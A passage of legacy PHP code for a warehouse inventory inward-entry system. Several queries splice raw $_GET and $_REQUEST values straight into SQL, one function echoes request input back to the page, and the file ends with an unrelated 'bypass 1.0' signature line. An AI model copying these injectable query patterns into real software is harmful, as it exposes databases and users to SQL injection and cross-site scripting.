 if($objArray['levels4'] == 'HM1' || $objArray['levels4'] == 'HM2'){
 $ct4 = $objArray['levels4']."/".$objArray['rows41'];
 }
 else
 {
   $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 }
  if($objArray['levels5'] == 'HM1' || $objArray['levels5'] == 'HM2'){
 $ct5 = $objArray['levels5']."/".$objArray['rows51'];
 }
 else
 {
   $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 }	
  	$total=$objArray['price']*$objArray['quantity'];
 /*$InsQuery_to_stock_master = 'INSERT INTO `arka_stock_master`(`inward_entry_id`, `material_code`, `material_name`, `quantity`,`location`,`record_status`) VALUES("'.trim(addslashes($objArray['inward_entry_id'])).'","'.trim(addslashes($objArray['material_code'])).'","'.trim(addslashes($objArray['material_name'])).'","'.trim(addslashes($objArray['quantity'])).'","'.$ct.'","1")';
  	 $this->ExecuteQuery($InsQuery_to_stock_master, 'insert');*/
	
	header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&inward_entry_id='.$objArray['inward_entry_id'].'&window_action=true');
	return true;
 }
 
 
 
 
   /************************************** Insert the content for  Static Pages ***********************************/
 
 function InsertLevels1($objArray){ 
   global $objSmarty,$_POST,$config;
   
   if(!$objArray['levels']){
    $objSmarty->assign('ErrorMessage', 'Levels Id should not be blank');
	return false;
	}
  
    if($this->ChkDupliCust(trim(addslashes($objArray['inward_entry_id']))))
   {
   if($objArray['levels'] == 'HM1' || $objArray['levels'] == 'HM2'){
 $ct = $objArray['levels']."/".$objArray['rows11'];
 }
 else
 {
   $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 }
 if($objArray['levels2'] == 'HM1' || $objArray['levels2'] == 'HM2'){
 $ct2 = $objArray['levels2']."/".$objArray['rows21'];
 }
 else
 {
   $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 }
 if($objArray['levels3'] == 'HM1' || $objArray['levels3'] == 'HM2'){
 $ct3 = $objArray['levels3']."/".$objArray['rows31'];
 }
 else
 {
   $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 }
 if($objArray['levels4'] == 'HM1' || $objArray['levels4'] == 'HM2'){
 $ct4 = $objArray['levels4']."/".$objArray['rows41'];
 }
 else
 {
   $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 }
  if($objArray['levels5'] == 'HM1' || $objArray['levels5'] == 'HM2'){
 $ct5 = $objArray['levels5']."/".$objArray['rows51'];
 }
 else
 {
   $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 }
// $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 //$ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 //$ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 //$ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
   $InsQuery = 'INSERT INTO `arka_inward_master`(`inward_entry_id`, `po_no`, `po_date`, `g1_date`, `invoice_no`, `invoice_date`,`invoice_amount`,`tax`,`frieght_charges`,`total`,`record_status`,`region`,`tax_percentage`,`supplier_name`,`supplier_code`,`location`,`location2`,`location3`,`location4`,`location5`,`g1login_person`,`g1checking_person`, `invoice_quantity`, `received_quantity`, `balance_quantity`) VALUES("'.trim(addslashes($objArray['inward_entry_id'])).'","'.trim(addslashes($objArray['po_no'])).'","'.trim(addslashes($objArray['po_date'])).'","'.trim(addslashes($objArray['g1_date'])).'","'.trim(addslashes($objArray['invoice_no'])).'","'.trim(addslashes($objArray['invoice_date'])).'","'.trim(addslashes($total_invoice_amount_with_tax)).'","'.trim(addslashes($tot_tax_amt)).'","'.trim(addslashes($objArray['frieght_charges'])).'","'.trim(addslashes($inv_amount)).'",1,"'.trim(addslashes($objArray['selection_reg'])).'","'.trim(addslashes($tot_tax)).'","'.trim(addslashes($objArray['supplier_name'])).'","'.trim(addslashes($objArray['supplier_code'])).'","'.$ct.'","'.$ct2.'","'.$ct3.'","'.$ct4.'","'.$ct5.'","'.trim(addslashes($objArray['g1login_person'])).'","'.trim(addslashes($objArray['g1checking_person'])).'","'.trim(addslashes($objArray['invoice_quantity'])).'","'.trim(addslashes($objArray['received_quantity'])).'","'.trim(addslashes($objArray['balance_quantity'])).'")';
  	$this->ExecuteQuery($InsQuery, 'insert');
	
	}
	
	 if($objArray['levels'] == 'HM1' || $objArray['levels'] == 'HM2'){
 $ct = $objArray['levels']."/".$objArray['rows11'];
 }
 else
 {
   $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 }
 if($objArray['levels2'] == 'HM1' || $objArray['levels2'] == 'HM2'){
 $ct2 = $objArray['levels2']."/".$objArray['rows21'];
 }
 else
 {
   $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 }
 if($objArray['levels3'] == 'HM1' || $objArray['levels3'] == 'HM2'){
 $ct3 = $objArray['levels3']."/".$objArray['rows31'];
 }
 else
 {
   $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 }
 if($objArray['levels4'] == 'HM1' || $objArray['levels4'] == 'HM2'){
 $ct4 = $objArray['levels4']."/".$objArray['rows41'];
 }
 else
 {
   $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 }
  if($objArray['levels5'] == 'HM1' || $objArray['levels5'] == 'HM2'){
 $ct5 = $objArray['levels5']."/".$objArray['rows51'];
 }
 else
 {
   $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 }	
$total_to_inward_details=$objArray['price']*$objArray['quantity'];
 $InsQuery2 = 'INSERT INTO `arka_inward_details`(`material_type`, `material_category`, `inward_entry_id`, `material_name`, `material_specification`, `price`, `created_by`, `material_code`,`quantity`,`warranty_period`,`record_status`,`total`,`supplier_name`,`supplier_code`,`location`,`location2`,`location3`,`location4`,`location5`, `invoice_quantity`, `received_quantity`, `balance_quantity`,`po_no`, `po_date`, `g1_date`,`invoice_date`) VALUES("'.trim(addslashes($objArray['material_type'])).'","'.trim(addslashes($objArray['material_category'])).'","'.trim(addslashes($objArray['inward_entry_id'])).'","'.trim(addslashes($objArray['material_name'])).'","'.trim(addslashes($objArray['material_specification'])).'","'.trim(addslashes($objArray['price'])).'","'.trim(addslashes($objArray['created_by'])).'","'.trim(addslashes($objArray['material_code'])).'","'.trim(addslashes($objArray['quantity'])).'","'.trim(addslashes($objArray['warranty_period'])).'",1,"'.trim(addslashes($total_to_inward_details)).'","'.trim(addslashes($objArray['supplier_name'])).'","'.trim(addslashes($objArray['supplier_code'])).'","'.$ct.'","'.$ct2.'","'.$ct3.'","'.$ct4.'","'.$ct5.'","'.trim(addslashes($objArray['invoice_quantity'])).'","'.trim(addslashes($objArray['received_quantity'])).'","'.trim(addslashes($objArray['balance_quantity'])).'","'.trim(addslashes($objArray['po_no'])).'","'.trim(addslashes($objArray['po_date'])).'","'.trim(addslashes($objArray['g1_date'])).'","'.trim(addslashes($objArray['invoice_date'])).'")';
  	$this->ExecuteQuery($InsQuery2, 'insert');	
	
	/* $SelQuery_on_stock	= 'SELECT * FROM `arka_stock_master` WHERE `material_name` ="'.trim(addslashes($objArray['material_name'])).'" && `material_code` ="'.trim(addslashes($objArray['material_code'])).'"';
	  $RList		= $this->ExecuteQuery($SelQuery_on_stock, "select");
	

if(!empty($RList) && is_array($RList))
	  {
	$ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
		 $update_quantity=$objArray['quantity']+$RList[0]['quantity']; 
	  $update_total=$RList[0]['unit_price']*$update_quantity;
 $update_query='UPDATE `arka_stock_master` SET `quantity` ="'.trim(addslashes($update_quantity)).'",`total`="'.trim(addslashes($update_total)).'" WHERE `material_code` ="'.$RList[0]['material_code'].'" && `unit_price` ="'.$RList[0]['unit_price'].'" && `supplier_code` ="'.$RList[0]['supplier_code'].'" && `supplier_name` ="'.$RList[0]['supplier_name'].'" && `location`="'.$RList[0]['location'].'"';
$this->ExecuteQuery($update_query,"update");
	  }
	else
	//*/
/* $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 $data= $ct. ' , ' .$ct2.' , '.$ct3.' , '.$ct4.' , '.$ct5;*/
 if($objArray['levels'] == 'HM1' || $objArray['levels'] == 'HM2'){
 $ct = $objArray['levels']."/".$objArray['rows11'];
 }
 else
 {
   $ct = $objArray['levels']."/".$objArray['columns']."/".$objArray['rows'];
 }
 if($objArray['levels2'] == 'HM1' || $objArray['levels2'] == 'HM2'){
 $ct2 = $objArray['levels2']."/".$objArray['rows21'];
 }
 else
 {
   $ct2 = $objArray['levels2']."/".$objArray['columns2']."/".$objArray['rows2'];
 }
 if($objArray['levels3'] == 'HM1' || $objArray['levels3'] == 'HM2'){
 $ct3 = $objArray['levels3']."/".$objArray['rows31'];
 }
 else
 {
   $ct3 = $objArray['levels3']."/".$objArray['columns3']."/".$objArray['rows3'];
 }
 if($objArray['levels4'] == 'HM1' || $objArray['levels4'] == 'HM2'){
 $ct4 = $objArray['levels4']."/".$objArray['rows41'];
 }
 else
 {
   $ct4 = $objArray['levels4']."/".$objArray['columns4']."/".$objArray['rows4'];
 }
  if($objArray['levels5'] == 'HM1' || $objArray['levels5'] == 'HM2'){
 $ct5 = $objArray['levels5']."/".$objArray['rows51'];
 }
 else
 {
   $ct5 = $objArray['levels5']."/".$objArray['columns5']."/".$objArray['rows5'];
 }	
  	$total=$objArray['price']*$objArray['quantity'];
 $InsQuery_to_stock_master = 'INSERT INTO `arka_stock_master`(`inward_entry_id`,`material_type`, `material_category`, `material_code`, `material_name`, `supplier_name`, `supplier_code`, `quantity`, `unit_price`,`total`,`location`,`location2`,`location3`,`location4`,`location5`,`record_status`) VALUES("'.trim(addslashes($objArray['inward_entry_id'])).'","'.trim(addslashes($objArray['material_type'])).'","'.trim(addslashes($objArray['material_category'])).'","'.trim(addslashes($objArray['material_code'])).'","'.trim(addslashes($objArray['material_name'])).'","'.trim(addslashes($objArray['supplier_name'])).'","'.trim(addslashes($objArray['supplier_code'])).'","'.trim(addslashes($objArray['quantity'])).'","'.trim(addslashes($objArray['price'])).'","'.$total.'","'.$ct.'","'.$ct2.'","'.$ct3.'","'.$ct4.'","'.$ct5.'","1")';
  	 $this->ExecuteQuery($InsQuery_to_stock_master, 'insert');
	
	header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&inward_entry_id='.$objArray['inward_entry_id'].'&window_action=true');
	return true;
 }
 
 
 function InsertLevels($objArray)
 { 
	global $objSmarty, $config, $_POST;
	$slno = $_POST['slno'];
	$in_id = $_POST['po_no'];
	$location = $_POST['locations'];
	$result=count(array_filter($location));
	$Mc = $_POST['material_code1'];
	$output = array_slice($Mc, 0, $result);
	$test=array_filter(array_combine($Mc , $location));
	
foreach($test as $key => $value)
	{
	
	
	  $UpQuery='UPDATE `arka_inward_details` SET location="'.$value.'" , rack_status="1" WHERE material_code="'.$key.'" ';  
	  $this->ExecuteQuery($UpQuery, 'update');
	  
		$SelQuery	= 'SELECT arka_inward_details.inward_entry_id,arka_inward_details.material_name,arka_inward_details.qualitycheck_passed_qty FROM 
		arka_inward_details,arka_inward_master WHERE arka_inward_master.po_no =arka_inward_details.po_no AND arka_inward_details.material_code="'.$key.'"';
		$SelList		= $this->ExecuteQuery($SelQuery, "select");
		
		 $UpQuery='UPDATE `arka_inward_master` SET rack_status="1" WHERE inward_entry_id="'.$SelList[0]['inward_entry_id'].'" ';  
	  $this->ExecuteQuery($UpQuery, 'update');
		
		$InsQuery_to_stock_master = 'INSERT INTO `arka_stock_master`(`inward_entry_id`,`material_code`, `material_name`,`location`,`quantity`,`record_status`) 
		VALUES("'.$SelList[0]['inward_entry_id'].'","'.$key.'","'.$SelList[0]['material_name'].'","'.$value.'","'.$SelList[0]['qualitycheck_passed_qty'].'","1")';
		$this->ExecuteQuery($InsQuery_to_stock_master, 'insert');
		
	}
	

	
	//header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&inward_entry_id='.$objArray['inward_entry_id'].'&window_action=true');
}
 
 
   /************************************** Insert the Gate Inward II for static Pages ***********************************/
 
 function UpdateGInwardContent($objArray){ 
   global $objSmarty, $config, $_POST;
   
   if(!$objArray['po_date']){
    $objSmarty->assign('ErrorMessage', 'PO Date should not be blank');
	return false;
   }elseif(!$objArray['invoice_date']){
    $objSmarty->assign('ErrorMessage', 'Invoice Date should not be blank');
	return false;
   }elseif(!$objArray['inward_id']){
    $objSmarty->assign('ErrorMessage', 'Inward ID should not be blank');
	return false;
   }elseif(!$objArray['g2checking_person']){
    $objSmarty->assign('ErrorMessage', 'Checking Person should not be blank');
	return false;
   }elseif(!$objArray['dateof_qcpassed']){
    $objSmarty->assign('ErrorMessage', 'Date of QC Passed should not be blank');
	return false;
   }/*elseif(!$objArray['qcfailed_quantity']){
    $objSmarty->assign('ErrorMessage', 'QC Failed Quantity should not be blank');
	return false;
   }*/elseif(!$objArray['labeling']){
    $objSmarty->assign('ErrorMessage', 'Labeling should not be blank');
	return false;
   }elseif(!$objArray['prepacking']){
    $objSmarty->assign('ErrorMessage', 'Prepacking should not be blank');
	return false;
   }
	
$rec=$objArray['received_qc_qty1'];
$pass=$objArray['qc_passed'];
$fail= $rec - $pass;

  $UpQuery='UPDATE `arka_inward_details` SET `g1_date` ="'.trim(addslashes($objArray['g1_date'])).'", `g2checking_person` ="'.trim(addslashes($objArray['g2checking_person'])).'", `barcode_value` ="'.trim(addslashes($objArray['barcode'])).'", `g2_date` ="'.trim(addslashes($objArray['g2_date'])).'", `dateof_qcpassed` ="'.trim(addslashes($objArray['dateof_qcpassed'])).'",`qualitycheck_passed_qty` ="'.trim(addslashes($objArray['qc_passed'])).'",  `qcfailed_quantity` ="'.$fail.'",`labeling` ="'.trim(addslashes($objArray['labeling'])).'",`prepacking` ="'.trim(addslashes($objArray['prepacking'])).'",`created_by` ="'.trim(addslashes($objArray['g2login_person'])).'",`material_name` ="'.trim(addslashes($objArray['material_name1'])).'",`received_qc_quantity` ="'.trim(addslashes($objArray['received_qc_qty1'])).'",`g2_status`="1" ,`record_status` ="1"  WHERE `material_code` IN ("'.trim(stripslashes($objArray['testv'])).'")';
  $this->ExecuteQuery($UpQuery, 'update');	
   //foreach($objArray['tax_percentage'] as $key=>$value)
  // {
  //$total_percentage=$total_percentage+$value;
   // }   
/* $InsQuery_to_GInward_details = 'INSERT INTO `arka_inward_details`(`po_no`,`invoice_no`,`po_date`,`invoice_date`, `inward_entry_id`, `g1_date`, `g2checking_person`, `barcode_value`, `g2_date`, `dateof_qcpassed`,`qcfailed_quantity`,`labeling`,`prepacking`,`created_by`,`record_status`) VALUES("'.trim(addslashes($objArray['po_no'])).'","'.trim(addslashes($objArray['invoice_number'])).'","'.trim(addslashes($objArray['po_date'])).'","'.trim(addslashes($objArray['invoice_date'])).'","'.trim(addslashes($objArray['inward_id'])).'","'.trim(addslashes($objArray['g1_date'])).'","'.trim(addslashes($objArray['g2checking_person'])).'","'.trim(addslashes($objArray['barcode_value'])).'","'.trim(addslashes($objArray['g2_date'])).'","'.trim(addslashes($objArray['dateof_qcpassed'])).'","'.trim(addslashes($objArray['qcfailed_quantity'])).'","'.trim(addslashes($objArray['labeling'])).'","'.trim(addslashes($objArray['prepacking'])).'","'.trim(addslashes($objArray['g2login_person'])).'","1")';    
  	 $this->ExecuteQuery($InsQuery_to_GInward_details, 'insert');*/
	 $select_query='SELECT * FROM `arka_inward_details` WHERE po_no ="'.trim(addslashes($objArray['po_no'])).'" AND `g2_status`="0" AND `g2checking_person` ="" AND `record_status`=1';
 $execute_query		= $this->ExecuteQuery($select_query, "select");
 $objSmarty->assign('execute_query', $execute_query);
 
	if(empty($execute_query))
	{
	 $UpQuery1='UPDATE `arka_inward_master` SET `po_no` ="'.trim(addslashes($objArray['po_no'])).'",`invoice_no` ="'.trim(addslashes($objArray['invoice_no'])).'",`po_date` ="'.trim(addslashes($objArray['po_date'])).'",`invoice_date` ="'.trim(addslashes($objArray['invoice_date'])).'",`inward_entry_id` ="'.trim(addslashes($objArray['inward_id'])).'",`g1_date` ="'.trim(addslashes($objArray['g1_date'])).'" ,`record_status` ="1" WHERE `inward_entry_id` ="'.trim(addslashes($objArray['inward_id'])).'"';
 $this->ExecuteQuery($UpQuery1, 'update');	
	
	$UpQuery1='UPDATE `arka_inward_master` SET `g2checking_person` ="'.trim(addslashes($objArray['g2checking_person'])).'",`g2_status`="1" WHERE `inward_entry_id` ="'.trim(addslashes($objArray['inward_id'])).'"';
 $this->ExecuteQuery($UpQuery1, 'update');	
	}
	else
	{
	 $UpQuery1='UPDATE `arka_inward_master` SET `po_no` ="'.trim(addslashes($objArray['po_no'])).'",`invoice_no` ="'.trim(addslashes($objArray['invoice_no'])).'",`po_date` ="'.trim(addslashes($objArray['po_date'])).'",`invoice_date` ="'.trim(addslashes($objArray['invoice_date'])).'",`inward_entry_id` ="'.trim(addslashes($objArray['inward_id'])).'",`g1_date` ="'.trim(addslashes($objArray['g1_date'])).'" ,`record_status` ="1" WHERE `inward_entry_id` ="'.trim(addslashes($objArray['inward_id'])).'"';
 $this->ExecuteQuery($UpQuery1, 'update');	
	}
	/* $UpQuery='UPDATE `arka_inward_details` SET `po_no`="'.trim(addslashes($objArray['po_no'])).'",`invoice_no` ="'.trim(addslashes($objArray['invoice_no'])).'",`po_date` ="'.trim(addslashes($objArray['po_date'])).'",`invoice_date` ="'.trim(addslashes($objArray['invoice_date'])).'", `inward_entry_id` ="'.trim(addslashes($objArray['inward_id'])).'", `g1_date` ="'.trim(addslashes($objArray['g1_date'])).'", `g2checking_person` ="'.trim(addslashes($objArray['g2checking_person'])).'", `barcode_value` ="'.trim(addslashes($objArray['barcode'])).'", `g2_date` ="'.trim(addslashes($objArray['g2_date'])).'", `dateof_qcpassed` ="'.trim(addslashes($objArray['dateof_qcpassed'])).'",`qualitycheck_passed_qty` ="'.trim(addslashes($objArray['qcfailed_quantity'])).'",  `qcfailed_quantity` ="'.trim(addslashes($objArray['qcfailed_quantity'])).'",`labeling` ="'.trim(addslashes($objArray['labeling'])).'",`prepacking` ="'.trim(addslashes($objArray['prepacking'])).'",`created_by` ="'.trim(addslashes($objArray['g2login_person'])).'",`material_code` ="'.trim(addslashes($objArray['material_code1'])).'",`material_name` ="'.trim(addslashes($objArray['material_name1'])).'",`received_qc_quantity` ="'.trim(addslashes($objArray['received_qc_qty1'])).'",`record_status` ="1" WHERE `inward_entry_id` ="'.trim(addslashes($objArray['inward_id'])).'"';
$this->ExecuteQuery($UpQuery, 'update');	    */ 
	
	
	
	header('Location:./inward_location.php?server_response=success&inward_entry_id='.$objArray['inward_id'].'&po_no='.$objArray['po_no'].'&po_date='.$objArray['po_date'].'&server_response=update succeed');	
	return true;
 }
 
 
    /************************************** Insert the Location static Pages ***********************************/
 
 function InsertLocation($objArray){ 
   global $objSmarty,$_POST,$config;
   if(!$objArray['levels2']){
    $objSmarty->assign('ErrorMessage', 'Levels should not be blank');
	return false;
   }
	
 
   //foreach($objArray['tax_percentage'] as $key=>$value)
  // {
  //$total_percentage=$total_percentage+$value;
   // }   
 $InsQuery_to_GInward_details = 'INSERT INTO `arka_inward_details`(`levels2`,`columns2`,`rows2`,`rows21`, `levels3`, `columns3`, `rows3`, `rows31`, `levels4`, `columns4`,`rows4`,`rows41`,`levels5`,`columns5`,`rows51`,`rows5`) VALUES("'.trim(addslashes($objArray['po_no'])).'","'.trim(addslashes($objArray['invoice_number'])).'","'.trim(addslashes($objArray['po_date'])).'","'.trim(addslashes($objArray['invoice_date'])).'","'.trim(addslashes($objArray['inward_id'])).'","'.trim(addslashes($objArray['g1_date'])).'","'.trim(addslashes($objArray['g2checking_person'])).'","'.trim(addslashes($objArray['barcode_value'])).'","'.trim(addslashes($objArray['g2_date'])).'","'.trim(addslashes($objArray['dateof_qcpassed'])).'","'.trim(addslashes($objArray['qcfailed_quantity'])).'","'.trim(addslashes($objArray['labeling'])).'","'.trim(addslashes($objArray['prepacking'])).'","1")'; 
  	 $this->ExecuteQuery($InsQuery_to_GInward_details, 'insert');
	
	header('Location:./inward_location.php?server_response=success&inward_entry_id='.$objArray['inward_entry_id'].'&window_action=true');
	return true;
 }
 

 /*********************************Delete From insert Page***********************************************************************/
 function Delete($deleid,$sno,$loid,$MnId,$McId){
  global $objSmarty,$config;
   $tbl = $config['DBPrefix'];
  $DelQuery = 'UPDATE `arka_inward_details` set `record_status` = 0 WHERE `inward_entry_id`="'.$_GET['inward_entry_id'].'" AND sl_no="'.$_GET['sl_no'].'" AND location="'.$_GET['loc'].'" AND `material_name`="'.$_GET['mname'].'" AND material_code="'.$_GET['mcode'].'"';
 $this->ExecuteQuery($DelQuery, 'delete');
 
  $DelQuery2 = 'UPDATE `arka_stock_master` set `record_status` = 0 WHERE `material_name`="'.$_GET['mname'].'" AND material_code="'.$_GET['mcode'].'" AND location="'.$_GET['loc'].'"';
 $this->ExecuteQuery($DelQuery2, 'delete');
  header('Location:' .$_SERVER['PHP_SELF'].'?server_response=success&inward_entry_id='.$_GET['inward_entry_id'].'&window_action=true');
 }
 
 /*****************************************List in insert Page**********************************************************************/
function list_inward_details()
 {
 global $objSmarty,$config;
   
 $objSmarty->assign('listing_id',$_REQUEST['inward_entry_id']);
 $select_query='SELECT * FROM `arka_inward_details` WHERE inward_entry_id = "'.$_REQUEST['inward_entry_id'].'" && `record_status`=1';
 $execute_query		= $this->ExecuteQuery($select_query, "select");
 $objSmarty->assign('inward_details_list',$execute_query);
 $row_count=count($execute_query);
 if(!$row_count==00)
 $objSmarty->assign('hide_criteria','fgj');
 else
 $objSmarty->assign('hide_criteria','');
 
 }
 
 	
  	function GetInwardMat2($objArray='')  
	{/* 
  		global $objSmarty,$_POST;
  		$objSmarty->assign('accordion', '1'); //for accordion display this code is need
		
  		if(isset($_POST['hdAction']))
  		{
		if($_POST['po_no'] && $_POST['inward_id'] )
      		{
		
					//$objSmarty->assign('make', 'Nepc'); 
     			$SelQuery	= 'SELECT * FROM `arka_inward_master` WHERE inward_entry_id="'.$_POST['inward_id'].'"';  
     			$PageList3=$this->ExecuteQuery($SelQuery, 'select');

     			$objSmarty->assign('inwardId', $_POST['inward_id']); 
      		
      			$objSmarty->assign('ErrorMessage', 'Please select Details Properly'); 
      			return false;
      		}
  		
		
	}
	$objSmarty->assign('PageList3', $PageList3);
   return $PageList3;
*/}
 function ListInwardmaterial()
	{
	global $objSmarty,$_POST,$config;  echo $_REQUEST['inward_id'];
echo	$SelQuery = 'SELECT * FROM `arka_inward_master` WHERE inward_entry_id = "'.$_REQUEST['inward_id'].'" && record_status="1" ' ;  
	$ListInmt		= $this->ExecuteQuery($SelQuery, "select");
    $objSmarty->assign('ListInmt', $ListInmt);
		
	}
 
/***************************Inward Entry No Checking***************************************************************/ 
function ChkDupliCust($c_id){
  global $objSmarty,$config;
   
  if(!empty($c_id))
 // $WhereClause	= ' AND `id` != '.$Ident;
  $SelQuery2		= 'SELECT * FROM `arka_inward_master` WHERE `inward_entry_id` = "'.$c_id.'" Limit 0,1';
  $CusDetail		= $this->ExecuteQuery($SelQuery2, 'select');
  if(!empty($CusDetail) && is_array($CusDetail))
   return false;
  else
   return true;
 }
 /******************************Levels List*******************************************************************/
function viewLevels($objArray)
	{
	global $objSmarty,$_POST,$config;
	$SelQuery = 'SELECT * FROM `arka_level_master` WHERE status="1" ' ;
	$LevelList		= $this->ExecuteQuery($SelQuery, "select");
    $objSmarty->assign('LevelList', $LevelList);
		
	}
	
	
	
   function GetCheckingPersonLists($objArray='')  
	{
		global $objSmarty;
		
			$SelQuery = 'SELECT * FROM `arka_employee_master` WHERE status=1' ;
		$checkpersonList		= $this->ExecuteQuery($SelQuery, "select");   
        $objSmarty->assign('checkpersonList', $checkpersonList);
	}
 
 }
 ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net